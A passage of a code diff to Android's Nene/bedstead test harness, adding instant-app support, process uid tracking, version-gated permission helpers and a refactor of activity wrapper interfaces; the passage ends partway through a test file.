+            scopes = {DELEGATION_CERT_INSTALL, DELEGATION_APP_RESTRICTIONS}, isPrimary = true)
+    public void ensureHasDelegateAnnotation_multipleScopes_dpcCanUseAllDelegatedFunctionality() {
+        assertThat(sDeviceState.dpc().devicePolicyManager().getEnrollmentSpecificId()).isNotNull();
+        sDeviceState.dpc().devicePolicyManager()
+                .setApplicationRestrictions(
+                        sDeviceState.dpc().componentName(),
+                        sDeviceState.dpc().packageName(), new Bundle());
+    }
+
+    @Test
+    @EnsureHasDeviceOwner(isPrimary = true)
+    @EnsureHasDelegate(admin = PRIMARY, scopes = {})
+    public void ensureHasDelegateAnnotation_primaryAdminWithoutReplace_dpcReturnsDpc() {
+        assertThat(sDeviceState.dpc()).isInstanceOf(RemoteDpc.class);
+    }
+
+    @Test
+    @EnsureHasDeviceOwner(isPrimary = true)
+    @EnsureHasDelegate(admin = PRIMARY, scopes = {}, isPrimary = true)
+    public void ensureHasDelegateAnnotation_primaryAdminAndReplace_dpcReturnsDelegate() {
+        assertThat(sDeviceState.dpc()).isInstanceOf(RemoteDelegate.class);
+    }
 }
diff --git a/common/device-side/bedstead/nene/Android.bp b/common/device-side/bedstead/nene/Android.bp
index 4e249bf..21809bb 100644
--- a/common/device-side/bedstead/nene/Android.bp
+++ b/common/device-side/bedstead/nene/Android.bp
@@ -13,7 +13,8 @@
     static_libs: [
         "compatibility-device-util-axt",
         "guava",
-        "Queryable"
+        "Queryable",
+        "RemoteFrameworkClasses"
     ],
     min_sdk_version: "27"
 }
@@ -28,7 +29,8 @@
     static_libs: [
         "compatibility-device-util-axt",
         "guava",
-        "Queryable"
+        "Queryable",
+        "RemoteFrameworkClasses"
     ],
     min_sdk_version: "27"
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activities.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activities.java
index a651aca..821176d 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activities.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activities.java
@@ -40,15 +40,9 @@
     private Activities() {
     }
 
-    /**
-     * Wrap the given {@link NeneActivityDirect} to use Nene APIs.
-     */
-    public Activity<NeneActivityDirect> wrap(NeneActivity activity) {
-        return new Activity<>(activity, activity);
-    }
 
     /**
-     * Wrap the given {@link NeneActivityDirect} subclass to use Nene APIs.
+     * Wrap the given {@link NeneActivity} subclass to use Nene APIs.
      */
     public <E extends NeneActivity> Activity<E> wrap(Class<E> clazz, E activity) {
         return new Activity<>(activity, activity);
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/ActivityWrapper.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/ActivityWrapper.java
index 802366d..01fb496 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/ActivityWrapper.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/ActivityWrapper.java
@@ -17,57 +17,18 @@
 package com.android.bedstead.nene.activities;
 
 import android.app.Activity;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.os.Bundle;
+import android.app.RemoteActivityImpl;
 import android.os.UserHandle;
 
-class ActivityWrapper implements NeneActivity {
-
-    private final Activity mActivity;
+class ActivityWrapper extends RemoteActivityImpl implements NeneActivity {
 
     ActivityWrapper(Activity activity) {
-        mActivity = activity;
-    }
-
-    @Override
-    public ComponentName getComponentName() {
-        return mActivity.getComponentName();
+        super(activity);
     }
 
     @Override
     public UserHandle getUser() {
-        // Assuming if we have an Activity it's on the current user
+        // Assuming if we have an Activity it's on the instrumented user
         return android.os.Process.myUserHandle();
     }
-
-    @Override
-    public void startLockTask() {
-        mActivity.startLockTask();
-    }
-
-    @Override
-    public void stopLockTask() {
-        mActivity.stopLockTask();
-    }
-
-    @Override
-    public void finish() {
-        mActivity.finish();
-    }
-
-    @Override
-    public boolean isFinishing() {
-        return mActivity.isFinishing();
-    }
-
-    @Override
-    public void startActivity(Intent intent) {
-        mActivity.startActivity(intent);
-    }
-
-    @Override
-    public void startActivity(Intent intent, Bundle options) {
-        mActivity.startActivity(intent, options);
-    }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/NeneActivity.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/NeneActivity.java
index f8bfeef..9a5a0ea 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/NeneActivity.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/NeneActivity.java
@@ -16,13 +16,14 @@
 
 package com.android.bedstead.nene.activities;
 
+import android.app.RemoteActivity;
 import android.os.UserHandle;
 
 /**
- * Additional methods which are not direct wrappes of {@link Activity}.
+ * Additional methods which are not direct wrappers of {@link Activity}.
  */
-public interface NeneActivity extends NeneActivityDirect {
+public interface NeneActivity extends RemoteActivity {
 
-    /** See {@link android.app.Activity#getUser()}. */
+    /** Get the user the Activity is running on. */
     UserHandle getUser();
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/NeneActivityDirect.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/NeneActivityDirect.java
deleted file mode 100644
index 6207779..0000000
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/NeneActivityDirect.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.nene.activities;
-
-import android.app.Activity;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.UserHandle;
-
-/**
- * Interface for use by classes which are able to be used in Nene activity test apis.
- *
- * <p>Methods on this interface should match exactly methods on {@link Activity}.
- */
-public interface NeneActivityDirect {
-    /** See {@link Activity#getComponentName}. */
-    ComponentName getComponentName();
-
-    /** See {@link Activity#startLockTask}. */
-    void startLockTask();
-
-    /** See {@link Activity#stopLockTask}. */
-    void stopLockTask();
-
-    /** See {@link Activity#finish()}. */
-    void finish();
-
-    /** See {@link Activity#isFinishing}. */
-    boolean isFinishing();
-
-    /** See {@link Activity#startActivity}. */
-    void startActivity(Intent intent);
-
-    /** See {@link Activity#startActivity}. */
-    void startActivity(Intent intent, Bundle options);
-}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/ProfileOwner.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/ProfileOwner.java
index d8b557f..e475d25 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/ProfileOwner.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/ProfileOwner.java
@@ -47,7 +47,8 @@
 
     @Override
     public void remove() {
-        if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)) {
+        if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)
+                || TestApis.packages().instrumented().isInstantApp()) {
             removePreS();
             return;
         }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
index 55ddb73..6dad0b8 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
@@ -20,6 +20,7 @@
 import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
 import static android.Manifest.permission.QUERY_ALL_PACKAGES;
 import static android.content.pm.ApplicationInfo.FLAG_STOPPED;
+import static android.content.pm.ApplicationInfo.FLAG_SYSTEM;
 import static android.content.pm.PackageManager.GET_PERMISSIONS;
 import static android.content.pm.PackageManager.MATCH_UNINSTALLED_PACKAGES;
 import static android.content.pm.PackageManager.PERMISSION_GRANTED;
@@ -436,7 +437,7 @@
                     .addOperand("-n")
                     .executeAndParseOutput(o -> parsePsOutput(o).stream()
                             .filter(p -> p.mPackageName.equals(mPackageName))
-                            .map(p -> new ProcessReference(this, p.mPid,
+                            .map(p -> new ProcessReference(this, p.mPid, p.mUid,
                                     TestApis.users().find(p.mUserId))))
                     .collect(Collectors.toSet());
         } catch (AdbException e) {
@@ -449,7 +450,9 @@
                 .skip(1) // Skip the title line
                 .map(s -> s.split("\\s+"))
                 .map(m -> new ProcessInfo(
-                        m[8], Integer.parseInt(m[1]), Integer.parseInt(m[0]) / PIDS_PER_USER_ID))
+                        m[8], Integer.parseInt(m[1]),
+                        Integer.parseInt(m[0]),
+                        Integer.parseInt(m[0]) / PIDS_PER_USER_ID))
                 .collect(Collectors.toSet());
     }
 
@@ -513,6 +516,11 @@
         PackageInfo packageInfo = packageInfoFromAnyUser(GET_PERMISSIONS);
 
         if (packageInfo == null) {
+            if (TestApis.packages().instrumented().isInstantApp()) {
+                Log.i(LOG_TAG, "Tried to get requestedPermissions for "
+                        + mPackageName + " but can't on instant apps");
+                return new HashSet<>();
+            }
             throw new NeneException("Error getting requestedPermissions, does not exist");
         }
 
@@ -773,24 +781,45 @@
         return Packages.parseDumpsys().mPackages.containsKey(mPackageName);
     }
 
+    /**
+     * {@code true} if the package is installed in the device's system image.
+     */
+    @Experimental
+    public boolean hasSystemFlag() {
+        ApplicationInfo appInfo = applicationInfoFromAnyUser(/* flags= */ 0);
+
+        if (appInfo == null) {
+            throw new NeneException("Package not installed: " + this);
+        }
+
+        return (appInfo.flags & FLAG_SYSTEM) > 0;
+    }
+
+    @Experimental
+    public boolean isInstantApp() {
+        return sPackageManager.isInstantApp(mPackageName);
+    }
+
     private static final class ProcessInfo {
         final String mPackageName;
         final int mPid;
+        final int mUid;
         final int mUserId;
 
-        public ProcessInfo(String packageName, int pid, int userId) {
+        ProcessInfo(String packageName, int pid, int uid, int userId) {
             if (packageName == null) {
                 throw new NullPointerException();
             }
             mPackageName = packageName;
             mPid = pid;
+            mUid = uid;
             mUserId = userId;
         }
 
         @Override
         public String toString() {
             return "ProcessInfo{packageName=" + mPackageName + ", pid="
-                    + mPid + ", userId=" + mUserId + "}";
+                    + mPid + ", uid=" + mUid + ", userId=" + mUserId + "}";
         }
     }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
index a6ad211..8c981b7 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
@@ -58,6 +58,8 @@
 import com.android.bedstead.nene.utils.Versions;
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 
+import org.junit.AssumptionViolatedException;
+
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
@@ -196,6 +198,15 @@
             throw new NullPointerException();
         }
 
+        if (!Versions.meetsMinimumSdkVersionRequirement(R)
+                || TestApis.packages().instrumented().isInstantApp()) {
+            AdbPackageParser.ParseResult packages = parseDumpsys();
+            return packages.mPackages.values().stream()
+                    .filter(p -> p.installedOnUsers().contains(user))
+                    .map(p -> find(p.packageName()))
+                    .collect(Collectors.toSet());
+        }
+
         if (user.equals(TestApis.users().instrumented())) {
             return TestApis.context().instrumentedContext().getPackageManager()
                     .getInstalledPackages(/* flags= */ 0)
@@ -204,14 +215,6 @@
                     .collect(Collectors.toSet());
         }
 
-        if (!Versions.meetsMinimumSdkVersionRequirement(R)) {
-            AdbPackageParser.ParseResult packages = parseDumpsys();
-            return packages.mPackages.values().stream()
-                    .filter(p -> p.installedOnUsers().contains(user))
-                    .map(p -> find(p.packageName()))
-                    .collect(Collectors.toSet());
-        }
-
         try (PermissionContext p = TestApis.permissions()
                 .withPermission(INTERACT_ACROSS_USERS_FULL)) {
             return TestApis.context().androidContextAsUser(user).getPackageManager()
@@ -325,8 +328,8 @@
      *
      * <p>If the package is marked testOnly, it will still be installed.
      *
-     * <p>On versions of Android prior to Q, this will return null. On other versions it will return
-     * the installed package.
+     * <p>On versions of Android prior to Q, or when running as an instant app, this will return
+     * null. On other versions it will return the installed package.
      */
     @Nullable
     public Package install(UserReference user, byte[] apkFile) {
@@ -343,6 +346,31 @@
                     + "(Trying to install into user " + user + ")");
         }
 
+        if (TestApis.packages().instrumented().isInstantApp()) {
+            // We should install using stdin with the byte array
+            try {
+                ShellCommand.builderForUser(user, "pm install")
+                        .addOperand("-t") // Allow installing test apks
+                        .addOperand("-r") // Replace existing apps
+                        .addOption("-S", apkFile.length) // Install from stdin
+                        .writeToStdIn(apkFile)
+                        .validate(ShellCommandUtils::startsWithSuccess)
+                        .execute();
+            } catch (AdbException e) {
+                throw new NeneException("Error installing from instant app", e);
+            }
+
+            // Arbitrary sleep because the shell command doesn't block and we can't listen for
+            // the broadcast (instant app)
+            try {
+                Thread.sleep(10_000);
+            } catch (InterruptedException e) {
+                throw new NeneException("Interrupted while waiting for install", e);
+            }
+
+            return null;
+        }
+
         // This is not inside the try because if the install is unsuccessful we don't want to await
         // the broadcast
         BlockingBroadcastReceiver broadcastReceiver =
@@ -387,7 +415,6 @@
                     }
                 }
             }
-
             return waitForPackageAddedBroadcast(broadcastReceiver);
         } catch (IOException e) {
             throw new NeneException("Could not install package", e);
@@ -404,6 +431,11 @@
         File outputDir = Environment.getExternalStorageDirectory();
         File outputFile = null;
 
+        if (TestApis.packages().instrumented().isInstantApp()) {
+            // We can't manage files as an instant app, so we must skip this test
+            throw new AssumptionViolatedException("Cannot install packages as instant app");
+        }
+
         try (PermissionContext p =
                      TestApis.permissions().withPermissionOnVersion(R, MANAGE_EXTERNAL_STORAGE)) {
             // TODO(b/202705721): Replace this with fixed name
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java
index c14417b..5a42583 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java
@@ -23,15 +23,17 @@
 public final class ProcessReference {
 
     private final Package mPackage;
-    private final int mProcessId;
+    private final int mPid;
+    private final int mUid;
     private final UserReference mUser;
 
-    ProcessReference(Package pkg, int processId, UserReference user) {
+    ProcessReference(Package pkg, int pid, int uid, UserReference user) {
         if (pkg == null) {
             throw new NullPointerException();
         }
         mPackage = pkg;
-        mProcessId = processId;
+        mPid = pid;
+        mUid = uid;
         mUser = user;
     }
 
@@ -46,7 +48,14 @@
      * Get the pid of this process.
      */
     public int pid() {
-        return mProcessId;
+        return mPid;
+    }
+
+    /**
+     * Get the uid of this process.
+     */
+    public int uid() {
+        return mUid;
     }
 
     /**
@@ -60,7 +69,7 @@
 
     @Override
     public int hashCode() {
-        return mPackage.hashCode() + mProcessId + mUser.hashCode();
+        return mPackage.hashCode() + mPid + mUser.hashCode();
     }
 
     @Override
@@ -71,12 +80,13 @@
 
         ProcessReference other = (ProcessReference) obj;
         return other.mUser.equals(mUser)
-                && other.mProcessId == mProcessId
+                && other.mPid == mPid
                 && other.mPackage.equals(mPackage);
     }
 
     @Override
     public String toString() {
-        return "ProcessReference{package=" + mPackage + ", processId=" + mProcessId + ", user=" + mUser + "}";
+        return "ProcessReference{package=" + mPackage
+                + ", processId=" + mPid + ", user=" + mUser + "}";
     }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java
index f7f3a59..2336fd0 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java
@@ -16,6 +16,7 @@
 
 package com.android.bedstead.nene.permissions;
 
+import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.utils.Versions;
 
@@ -74,6 +75,18 @@
     }
 
     /**
+     * See {@link Permissions#withPermissionOnVersionAtLeast(int, String...)}
+     */
+    public PermissionContextImpl withPermissionOnVersionAtLeast(
+            int sdkVersion, String... permissions) {
+        if (Versions.meetsMinimumSdkVersionRequirement(sdkVersion)) {
+            return withPermission(permissions);
+        }
+
+        return this;
+    }
+
+    /**
      * See {@link Permissions#withoutPermission(String...)}
      */
     public PermissionContextImpl withoutPermission(String... permissions) {
@@ -85,6 +98,11 @@
             }
         }
 
+        if (TestApis.packages().instrumented().isInstantApp()) {
+            throw new NeneException(
+                    "Tests which use withoutPermission must not run as instant apps");
+        }
+
         mDeniedPermissions.addAll(Arrays.asList(permissions));
 
         mPermissions.applyPermissions();
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
index 88aef56..f9e1347 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
@@ -129,6 +129,29 @@
 
     /**
      * Enter a {@link PermissionContext} where the given permissions are granted only when running
+     * on the given version or above.
+     *
+     * <p>If the permissions cannot be granted, and are not already granted, an exception will be
+     * thrown.
+     *
+     * <p>If the version does not match, the permission context will not change.
+     */
+    public PermissionContextImpl withPermissionOnVersionAtLeast(
+            int minSdkVersion, String... permissions) {
+        if (mPermissionContexts.isEmpty()) {
+            recordExistingPermissions();
+        }
+
+        PermissionContextImpl permissionContext = new PermissionContextImpl(this);
+        mPermissionContexts.add(permissionContext);
+
+        permissionContext.withPermissionOnVersionAtLeast(minSdkVersion, permissions);
+
+        return permissionContext;
+    }
+
+    /**
+     * Enter a {@link PermissionContext} where the given permissions are granted only when running
      * on the given version.
      *
      * <p>If the permissions cannot be granted, and are not already granted, an exception will be
@@ -191,6 +214,15 @@
             return;
         }
 
+        if (TestApis.packages().instrumented().isInstantApp()) {
+            // Instant Apps aren't able to know the permissions of shell so we can't know if we can
+            // adopt it - we'll assume we can adopt and log
+            Log.i(LOG_TAG,
+                    "Adopting all shell permissions as can't check shell: " + mPermissionContexts);
+            ShellCommandUtils.uiAutomation().adoptShellPermissionIdentity();
+            return;
+        }
+
         if (SUPPORTS_ADOPT_SHELL_PERMISSIONS) {
             ShellCommandUtils.uiAutomation().dropShellPermissionIdentity();
         }
@@ -350,6 +382,7 @@
         mExistingPermissions = ShellCommandUtils.uiAutomation().getAdoptedShellPermissions();
     }
 
+    @SuppressWarnings("NewApi")
     private void restoreExistingPermissions() {
         if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)) {
             return;
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
index 8bc50dd..0b11f7a 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
@@ -17,6 +17,7 @@
 package com.android.bedstead.nene.users;
 
 import static android.Manifest.permission.CREATE_USERS;
+import static android.Manifest.permission.INTERACT_ACROSS_USERS;
 import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
 import static android.os.Build.VERSION.SDK_INT;
 import static android.os.Build.VERSION_CODES.S;
@@ -25,11 +26,12 @@
 import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
 import static com.android.bedstead.nene.users.UserType.SECONDARY_USER_TYPE_NAME;
 import static com.android.bedstead.nene.users.UserType.SYSTEM_USER_TYPE_NAME;
+import static com.android.bedstead.nene.utils.Versions.S_V2;
 
 import android.app.ActivityManager;
+import android.content.Context;
 import android.content.pm.UserInfo;
 import android.os.Build;
-import android.os.SystemProperties;
 import android.os.UserHandle;
 import android.os.UserManager;
 
@@ -64,7 +66,6 @@
 
     static final int SYSTEM_USER_ID = 0;
     private static final Duration WAIT_FOR_USER_TIMEOUT = Duration.ofMinutes(4);
-    private static final String PROPERTY_STOP_BG_USERS_ON_SWITCH = "fw.stop_bg_users_on_switch";
 
     private Map<Integer, AdbUser> mCachedUsers = null;
     private Map<String, UserType> mCachedUserTypes = null;
@@ -439,32 +440,19 @@
     }
 
     /**
-     * Get the stopBgUsersOnSwitch property.
-     *
-     * <p>This affects if background users will be swapped when switched away from on some devices.
-     *
-     * <p>If the property is not set, then {@code false} will be returned.
-     */
-    public boolean getStopBgUsersOnSwitch() {
-        if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
-            return false;
-        }
-
-        return SystemProperties.getBoolean(PROPERTY_STOP_BG_USERS_ON_SWITCH, /* def= */ true);
-    }
-
-    /**
      * Set the stopBgUsersOnSwitch property.
      *
      * <p>This affects if background users will be swapped when switched away from on some devices.
      */
-    public void setStopBgUsersOnSwitch(boolean stop) {
-        if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+    public void setStopBgUsersOnSwitch(int value) {
+        if (!Versions.meetsMinimumSdkVersionRequirement(S_V2)) {
             return;
         }
-
-        // TODO(203752848): Re-enable this once we can set it
-//        TestApis.systemProperties().set(PROPERTY_STOP_BG_USERS_ON_SWITCH, stop ? "1" : "0");
+        Context context = TestApis.context().instrumentedContext();
+        try (PermissionContext p = TestApis.permissions()
+                .withPermission(INTERACT_ACROSS_USERS)) {
+            context.getSystemService(ActivityManager.class).setStopUserOnSwitch(value);
+        }
     }
 
     @Nullable
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Tags.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Tags.java
index 901d586..5d80cec 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Tags.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Tags.java
@@ -27,6 +27,7 @@
 
     public static final String USES_DEVICESTATE = "uses_devicestate";
     public static final String USES_NOTIFICATIONS = "uses_notifications";
+    public static final String INSTANT_APP = "instant_app";
 
     private Tags() {
 
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
index e6f0f84..6b0620f 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
@@ -37,7 +37,7 @@
 import com.android.bedstead.nene.permissions.PermissionContext;
 import com.android.bedstead.nene.users.UserReference;
 import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
 import com.android.bedstead.testapp.TestAppProvider;
 import com.android.queryable.queries.StringQuery;
 
@@ -89,7 +89,7 @@
     @BeforeClass
     public static void setupClass() throws Exception {
         try (PermissionContext p = TestApis.permissions()
-                .withPermissionOnVersion(R, MANAGE_EXTERNAL_STORAGE)) {
+                .withPermissionOnVersionAtLeast(R, MANAGE_EXTERNAL_STORAGE)) {
             sTestApp.writeApkFile(sTestAppApkFile);
         }
     }
@@ -97,7 +97,7 @@
     @AfterClass
     public static void teardownClass() throws Exception {
         try (PermissionContext p = TestApis.permissions()
-                .withPermissionOnVersion(R, MANAGE_EXTERNAL_STORAGE)) {
+                .withPermissionOnVersionAtLeast(R, MANAGE_EXTERNAL_STORAGE)) {
             sTestAppApkFile.delete();
         }
     }
@@ -208,7 +208,7 @@
     @Test
     @EnsureHasSecondaryUser
     public void grantPermission_permissionIsGranted() {
-        try (TestAppInstanceReference instance = sTestApp.install()) {
+        try (TestAppInstance instance = sTestApp.install()) {
             sTestApp.pkg().grantPermission(USER_SPECIFIC_PERMISSION);
 
             assertThat(sTestApp.pkg().hasPermission(USER_SPECIFIC_PERMISSION)).isTrue();
@@ -219,8 +219,8 @@
     @EnsureHasSecondaryUser
     @RequireRunOnSystemUser // TODO(b/201319776): this should be anything but secondary user
     public void grantPermission_permissionIsUserSpecific_permissionIsGrantedOnlyForThatUser() {
-        try (TestAppInstanceReference instance1 = sTestApp.install();
-             TestAppInstanceReference instance2 = sTestApp.install(sDeviceState.secondaryUser())) {
+        try (TestAppInstance instance1 = sTestApp.install();
+             TestAppInstance instance2 = sTestApp.install(sDeviceState.secondaryUser())) {
 
             sTestApp.pkg().grantPermission(sDeviceState.secondaryUser(), USER_SPECIFIC_PERMISSION);
 
@@ -271,7 +271,7 @@
 
     @Test
     public void denyPermission_permissionIsNotGranted() {
-        try (TestAppInstanceReference instance = sTestApp.install()) {
+        try (TestAppInstance instance = sTestApp.install()) {
             sTestApp.pkg().grantPermission(USER_SPECIFIC_PERMISSION);
 
             sTestApp.pkg().denyPermission(USER_SPECIFIC_PERMISSION);
@@ -304,7 +304,7 @@
 
     @Test
     public void denyPermission_installPermission_throwsException() {
-        try (TestAppInstanceReference instance = sTestApp.install()) {
+        try (TestAppInstance instance = sTestApp.install()) {
             assertThrows(NeneException.class, () ->
                     sTestApp.pkg().denyPermission(INSTALL_PERMISSION));
         }
@@ -319,7 +319,7 @@
 
     @Test
     public void denyPermission_alreadyDenied_doesNothing() {
-        try (TestAppInstanceReference instance = sTestApp.install()) {
+        try (TestAppInstance instance = sTestApp.install()) {
             sTestApp.pkg().denyPermission(USER_SPECIFIC_PERMISSION);
             sTestApp.pkg().denyPermission(USER_SPECIFIC_PERMISSION);
 
@@ -331,8 +331,8 @@
     @EnsureHasSecondaryUser
     @RequireRunOnSystemUser // TODO(201319776): Just needs to be not the secondary user
     public void denyPermission_permissionIsUserSpecific_permissionIsDeniedOnlyForThatUser() {
-        try (TestAppInstanceReference instance1 = sTestApp.install();
-             TestAppInstanceReference instance2 = sTestApp.install(sDeviceState.secondaryUser())) {
+        try (TestAppInstance instance1 = sTestApp.install();
+             TestAppInstance instance2 = sTestApp.install(sDeviceState.secondaryUser())) {
             sTestApp.pkg().grantPermission(USER_SPECIFIC_PERMISSION);
             sTestApp.pkg().grantPermission(sDeviceState.secondaryUser(), USER_SPECIFIC_PERMISSION);
 
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java
index 01fbcf6..a9f5c73 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java
@@ -34,7 +34,7 @@
 import com.android.bedstead.nene.users.UserReference;
 import com.android.bedstead.nene.utils.Versions;
 import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
 import com.android.bedstead.testapp.TestAppProvider;
 import com.android.compatibility.common.util.FileUtils;
 
@@ -328,12 +328,12 @@
     @Ignore
     // TODO: .exists() doesn't return true when the package is kept - restore this functionality
     public void keepUninstalledPackages_packageIsUninstalled_packageStillExists() {
-        try (TestAppInstanceReference testAppInstanceReference = sTestApp.install()) {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
             TestApis.packages().keepUninstalledPackages()
                     .add(sTestApp.pkg())
                     .commit();
 
-            testAppInstanceReference.uninstall();
+            testAppInstance.uninstall();
 
             assertThat(sTestApp.pkg().exists()).isTrue();
         } finally {
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
index f7ecee1..f683175 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
@@ -16,6 +16,9 @@
 
 package com.android.bedstead.nene.users;
 
+import static android.app.ActivityManager.STOP_USER_ON_SWITCH_DEFAULT;
+import static android.app.ActivityManager.STOP_USER_ON_SWITCH_FALSE;
+import static android.app.ActivityManager.STOP_USER_ON_SWITCH_TRUE;
 import static android.os.Build.VERSION.SDK_INT;
 
 import static com.android.bedstead.harrier.DeviceState.UserType.SYSTEM_USER;
@@ -487,9 +490,8 @@
     @EnsureHasSecondaryUser
     @RequireHeadlessSystemUserMode
     public void switch_hasSetStopBgUsersOnSwitch_stopsUser() throws Exception {
-        boolean originalStopBgUsersOnSwitch = TestApis.users().getStopBgUsersOnSwitch();
         try {
-            TestApis.users().setStopBgUsersOnSwitch(true);
+            TestApis.users().setStopBgUsersOnSwitch(STOP_USER_ON_SWITCH_TRUE);
             TestApis.users().system().switchTo();
 
             Poll.forValue("Secondary user running",
@@ -501,22 +503,20 @@
             assertThat(sDeviceState.secondaryUser().isRunning()).isFalse();
         } finally {
             sDeviceState.secondaryUser().start();
-            TestApis.users().setStopBgUsersOnSwitch(originalStopBgUsersOnSwitch);
